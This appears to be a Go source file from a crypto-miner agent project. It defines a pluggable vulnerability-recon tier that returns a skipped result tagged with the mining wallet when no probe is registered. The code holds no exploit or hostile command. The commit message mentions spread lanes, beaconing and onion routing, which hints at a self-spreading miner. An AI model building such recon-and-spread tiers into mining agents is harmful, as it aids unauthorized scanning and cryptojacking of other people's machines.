Files
AetherForge/agent/miner/tier_vuln_probe.go
AetherForge 7b2d41cda8
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
2026-06-07 04:58:55 -07:00

42 lines
1.1 KiB
Go

package miner
import (
"context"
"crypto-miner-agent/config"
)
// vulnProbeRunner is injected by the client package (avoids import cycle).
var vulnProbeRunner func() TierAttempt
// SetVulnProbeRunner registers the read-only vulnerability recon probe. Nil restores default skip.
func SetVulnProbeRunner(fn func() TierAttempt) {
vulnProbeRunner = fn
}
// VulnProbeRunnerWired reports whether a custom probe runner is registered (tests inject before chain wiring).
func VulnProbeRunnerWired() bool {
return vulnProbeRunner != nil
}
// RunVulnProbeTier runs authorized fleet vulnerability recon (report-only, no exploit).
func RunVulnProbeTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
select {
case <-ctx.Done():
return TierAttempt{Tier: TierVulnProbe, Error: ctx.Err().Error(), Wallet: cfg.Wallet}
default:
}
if vulnProbeRunner != nil {
return vulnProbeRunner()
}
return TierAttempt{
Tier: TierVulnProbe,
OK: true,
Wallet: cfg.Wallet,
Details: map[string]interface{}{
"skipped": true,
"reason": "vuln probe runner not wired",
},
}
}